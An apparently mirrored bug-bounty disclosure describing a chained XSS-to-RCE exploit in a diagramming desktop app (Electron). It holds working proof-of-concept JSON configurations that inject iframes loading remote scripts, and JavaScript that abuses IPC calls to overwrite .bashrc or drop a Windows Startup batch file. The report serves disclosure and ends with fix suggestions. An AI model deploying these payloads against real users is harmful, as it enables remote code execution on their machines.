Lucene search

K
huntrKevin-mizu4DA96D20-78AC-462E-910C-A14DB9062161
HistoryJun 15, 2023 - 1:14 p.m.

Desktop APP XSS to RCE

2023-06-1513:14:27
kevin-mizu
www.huntr.dev
20
xss
rce
content security policy bypass
ipc
home folder leak

0.001 Low

EPSS

Percentile

41.3%

๐Ÿ”’๏ธ Requirements

The user must load the malicious configuration and click on the buttons.

ย 

๐Ÿ“ Description

This exploitation relies on several issues which chained together lead to an RCE. In the following subsection, I will try to explain it as best I can.

ย 

๐Ÿ’‰ Not sanitized HTML injection

In the configuration JSON, there is a lot of parameters that can be set to custom the project page. In all them, the libraries parameter allows to add now library to load in the application. In a library object it is possible set a preview value which is reflected without sanitization in the DOM. (vulnerable code here)

{
  "enabledLibraries": [],
  "libraries": [
    {
      "title": {
        "main": "Libraries"
      },
      "entries": [
        {
          "id": "lib1",
          "preview": "\"&gt;<img src>",
          "title": {
            "main": "Library",
            "fr": "lib1"
          },
          "libs": []
        }
      ]
    }
  ]
}

Loading this configuration and clicking on +More Shapes will result in:

html_injection

The previous JSON wonโ€™t trigger an XSS because the CSP isnโ€™t bypassed yet.

ย 

โฉ Desktop app CSP bypass

Because the desktop client and the web application havenโ€™t the same configuration, the Content Security Policy (CSP) is added dynamically depending on the context. For the desktop app, the process is the following:

var mxIsElectron = window && window.process && window.process.type;

if (mxIsElectron)
{
    mxmeta(null, 'default-src \'self\' \'unsafe-inline\'; connect-src \'self\' https://*.draw.io https://fonts.googleapis.com https://fonts.gstatic.com; img-src * data:; media-src *; font-src *; style-src-elem \'self\' \'unsafe-inline\' https://fonts.googleapis.com', 'Content-Security-Policy');
}

As we can see, in case mxIsElectron is not defined, no CSP will be set. Therefore, in a subframe context (ie: iframe) of an election application, the window.process is not defined. So, loading the index.html again in an iframe using the previous HTML injection, will result in a context without CSP.

ย 

Finally, clicking on +More Shapes again will trigger the HTML injection one more time but without restriction wich leads to XSS.

{
  "enabledLibraries": [],
  "libraries": [
    {
      "title": {
        "main": "Libraries"
      },
      "entries": [
        {
          "id": "lib1",
          "preview": "\"&gt;&lt;style&gt;.geDialog{height:600px !important}&lt;/style&gt;&lt;iframe src=\"./index.html\" width=\"100%\" height=\"500\" frameBorder=\"0\"&gt;&lt;/iframe&gt;&lt;iframe srcdoc='&lt;script src=\"https://mizu.re/bb/xss.js\"&gt;&lt;/script&gt;' hidden&gt;&lt;/iframe&gt;",
          "title": {
            "main": "Library",
            "fr": "lib1"
          },
          "libs": []
        }
      ]
    }
  ]
}

Loading the previous configuration an clicking on +More Shapes two times leads to:

xss.png

ย 

๐Ÿ  IPC getDocumentsFolder home folder leak

Because the getDocumentsFolder ipc exists, it is possible to retrieve the current home user path for all distribution. This is really dangerous as it allow to know where to write in case of file write vulnerability.

electron.request({ action: "getDocumentsFolder" }, (d) =&gt; {
    var home = d;
    home = home.replace("OneDrive\\Documents", ""); // Windows
    home = home.replace("Documents", ""); // Linux & Windows

    console.log(home);
})

ย 

๐Ÿคนโ€โ™‚๏ธ IPC writeFile type jungling

In addition, the writeFile IPC can be abused thanks to type jungling, making it possible to generate polymorphic files (ie: .js/.sh/.bat/...).

function checkFileContent(body, enc)
{
    ...
            if (enc == 'base64')
async function writeFile(path, data, enc)
{
    if (!checkFileContent(data, enc))
    {
        throw new Error('Invalid file data');
    }
    else
    {
        return await fsProm.writeFile(path, data, enc);
    }
};

This is due to the fact that checkFileContent will treat [base64] as base64 content and check only the first 22 bytes while fsProm.writeFile will consider it as invalid and use UTF-8 instead.

Using the following bug, it is possible to write valid .bashrc file using the following call:

const payload  = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;nautilus";

electron.request({
    action: "writeFile",
    path: "/home/user/.bashrc",
    data: payload,
    enc: ["base64"] // type jungling
}, (d) =&gt; {}, "")

ย 

๐Ÿ“œ RCE via auto exec file overwrite

Using the previously explained issues, it is possible to overwrite sensitive file which are automatically executed depending on the current operating system. For example:

  • Linux: /home/&lt;user&gt;/.bashrc -> executed when opening a terminal.
  • Windows: C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rce.bat -> executed when windows start.

ย 

๐Ÿ’ฅ Proof of Concept

As this bug can be exploited on all distribution, in the following subsection, Iโ€™ll give a basic exploitation on Windows and another more sophisticated using clickjacking on Linux.

ย 

๐ŸชŸ Windows

  • Configuration
{
  "enabledLibraries": [],
  "libraries": [
    {
      "title": {
        "main": "Libraries"
      },
      "entries": [
        {
          "id": "lib1",
          "preview": "\"&gt;&lt;style&gt;.geDialog{height:600px !important}&lt;/style&gt;&lt;iframe src=\"./index.html\" width=\"100%\" height=\"500\" frameBorder=\"0\"&gt;&lt;/iframe&gt;&lt;iframe srcdoc='&lt;script src=\"https://mizu.re/PoC/drawio/rce-windows-3.js\"&gt;&lt;/script&gt;' hidden&gt;&lt;/iframe&gt;",
          "title": {
            "main": "Library",
            "fr": "lib1"
          },
          "libs": []
        }
      ]
    }
  ]
}
  • Javascript file (hosted on my website)
const payload  = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1\ncalc.exe";
const electron = top.electron; // mandatory to retrieve the electron object in the subframe

electron.request({ action: "getDocumentsFolder" }, (d) =&gt; {
    var home = d;
    home = home.replace("OneDrive\\Documents", ""); // Windows
    home = home.replace("Documents", ""); // Linux & Windows

    const bashrc = `${home}AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rce.bat`
    electron.request({
        action: "writeFile",
        path: bashrc,
        data: payload,
        enc: ["base64"] // type jungling
    }, (d) =&gt; {}, "")
})

windows.gif

ย 

๐Ÿง Linux with clickjacking

  • Configuration
{
  "enabledLibraries": [],
  "libraries": [
    {
      "title": {
        "main": "Libraries"
      },
      "entries": [
        {
          "id": "lib1",
          "preview": "\"&gt;&lt;style&gt;.geDialog{height:600px !important}&lt;/style&gt;<div><h2>Dynamic library below, click on the following buttons!</h2></div>&lt;button style=\"position:absolute;top:265px;left:60px\" class=\"geBtn gePrimaryBtn\"&gt;2&lt;/button&gt;&lt;button style=\"position:absolute;left:205px;top:390px;\" class=\"geBtn gePrimaryBtn\"&gt;1&lt;/button&gt;&lt;iframe style=\"opacity: 0;position:absolute;top:0;left:0\" src=\"./index.html\" width=\"100%\" height=\"500\" frameBorder=\"0\"&gt;&lt;/iframe&gt;&lt;iframe srcdoc='&lt;script src=\"https://mizu.re/PoC/drawio/rce-linux-3.js\"&gt;&lt;/script&gt;' hidden&gt;&lt;/iframe&gt;",
          "title": {
            "main": "Library",
            "fr": "lib1"
          },
          "libs": []
        }
      ]
    }
  ]
}
  • Javascript file (hosted on my website)
const payload  = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;nautilus";
const electron = top.electron; // mandatory to retrieve the electron object in the subframe

electron.request({ action: "getDocumentsFolder" }, (d) =&gt; {
    var home = d;
    home = home.replace("Documents", "");

    const bashrc = `${home}.bashrc`
    electron.request({
        action: "writeFile",
        path: bashrc,
        data: payload,
        enc: ["base64"] // type jungling
    }, (d) =&gt; {}, "")
})

linux.gif

ย 

๐Ÿ› ๏ธ Fix suggestion

1. Sanitize the preview value.

2. Add a default CSP in case no context match.

3. Use three = for the enc value.

0.001 Low

EPSS

Percentile

41.3%

Related for 4DA96D20-78AC-462E-910C-A14DB9062161